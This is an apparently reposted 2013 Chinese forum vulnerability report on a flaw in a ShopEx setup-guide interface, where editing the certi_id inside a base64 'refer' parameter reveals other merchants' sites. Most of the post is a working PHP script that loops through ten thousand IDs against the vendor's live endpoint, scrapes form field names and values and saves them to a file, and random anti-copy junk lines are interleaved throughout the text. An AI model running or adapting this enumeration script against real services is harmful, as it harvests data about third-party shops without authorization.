中国网络渗透测试联盟
标题:
ShopEx某接口缺陷可遍历所有用户网站
[打印本页]
作者:
admin
时间:
2013-9-21 15:59
标题:
ShopEx某接口缺陷可遍历所有用户网站
简要描述:
; B7 W( j" a$ }; W+ I. E
ShopEx某接口缺陷,可遍历所有网站
8 h1 ~. |5 X- e' t) ~7 A2 y
详细说明:
3 L5 n8 n% N+ w, U% L# V9 c
问题出现在shopex 网店使用向导页面
+ E* Z& z h- e i+ r8 Y+ `
' ]) _# T% d. x/ @ k) [+ Y
5 @5 j6 g& `, l" H5 O- z) |
$ ~7 {2 c! O% ~
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
( N7 J4 p) y7 R1 K3 D8 c6 k
$ n* m6 l; p, g, Y/ E
% F* U$ B0 m7 f+ ~8 _
3 J. }; k/ E( V ^9 F. N! \
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
+ b7 i0 T: W6 k+ b; c7 l8 V
' X+ t) X8 J0 W4 K/ M( ?
# |2 o# R5 B0 q: i, k; {0 T, {, b
# m! m+ V. g# d; x& S+ R) q
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
+ m- o ]5 g, U3 W
: b) l R& J/ s4 g! ^
* E1 r- z1 g T# j, O
' Q6 n. Y/ }2 I
<?php
0 L% l) n2 z# s* k) i
3 R- f4 w7 C4 x" N" b& c; D9 t* X2 q f
for ($i=1; $i < 10000; $i++) { //遍历
6 J. k1 W6 l8 b' x( F
( K" x9 G o; p7 R; t
ShowshopExD($i);
4 ?" V$ K/ L! t; k
f$ g6 x, W+ T: W I9 a$ s
}
, B+ x: q$ I5 b
1 A/ ^9 K) }$ y4 N, o7 ?4 U" ?
function ShowshopExD($cid) {
0 j" b) D5 ^, @
p. o6 e1 e+ P9 r1 T
$url='http://guide.ecos.shopex.cn/step2.php';
% X& t# ?: G2 X) J$ q$ I' L
: V+ q% |* s. X" X1 n$ X8 ~8 ?
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
- S2 v% g8 @1 u- ]6 U% w j
2 ?& ^# \* J" U
$url = $url.'?refer='.$refer;
/ v0 `0 R" t; W- N" A
+ c: ?" \$ ?; }, w4 C" w
$ch = curl_init($url);
' ?$ |2 b4 b$ i8 S6 S- l
! [9 N$ m" x8 ~- n2 W" T8 b# R
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
1 o6 F1 K6 Q/ J4 x
$ N" W7 t* Y8 Q* b: D/ Z
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
6 f: f+ |/ G3 J9 U( E
5 ?& ?# W7 a* [% Y9 y ^
$result = curl_exec($ch);
( F) \: a/ d3 s6 Q; m' c# d
4 t/ Z1 Q5 T& O, m; x3 G, [% ^
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
1 H- L! k* C6 |" ]% [3 n
- Z( \5 O1 [4 j- H* y7 U1 f' w
if(strpos($result,$refer))
$ D9 _8 P5 t7 D9 O$ v
# z! i4 N* u) Q* _: m4 u
{
5 X3 T/ d6 T: `- s* B% t
' N) B" E) } G
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件
# N: e3 f% ~2 a
+ `. y# x, g" A
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
$ R- X( W" ~1 p$ |
0 C/ m6 b, D: S
foreach ($value[1] as $key) {
" X7 U# i9 f- x% t
( W2 p" g/ [5 z$ U9 O; H* D
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
8 ?1 A* R n7 @1 N
0 `) w0 ]1 v8 O# z" r
echo $res[1][0].':'.$res[3][0]."\r\n";
' p0 j7 p$ T6 _- Y: K; U
( y) ^3 @. X$ d
$col =$res[1][0].':'.$res[3][0]."\r\n";
9 Z$ K& y" z( A* H; G
r3 F8 z* ~9 V
fwrite($fp, $col, strlen($col));
7 j9 Z. `2 }* J) E/ } @4 ]
1 z; ?# _! W4 z3 z, j% I
}
9 z8 ~4 { F, K! T0 F( R, x' H# w
% W, Z: O. ?+ }* W# B2 B
echo '--------------------------------'."\r\n";
; b# `( }- T/ Z; \
, v) w$ X: {& I; i8 G/ V9 ^1 J' t
fclose($fp);
/ e [4 ^# m. f! Q
; Z- L/ M; P5 S4 N9 a
}
2 i) x; ^% ^" C4 u
7 f0 V- `1 f* V
flush();
" `" y' W+ M$ |( a! B
& u4 j4 y( ~- b
curl_close($ch);
* E, V! v7 r: w, V) R6 O
- l' T3 X6 _6 T4 B. ^% B. m2 Q5 d
}
0 w( H; t% U7 _7 U7 X) Y; k5 }' I
" X( V# u. b S; C8 d. i( e
?>
" K$ s7 c; z5 I! c
漏洞证明:
^* ?$ w% b, G1 E5 @! R- Z
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
M% W3 ~+ j$ K0 m
refer换成其他加密方式
! v+ Y5 n1 f# m9 [/ k4 R
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2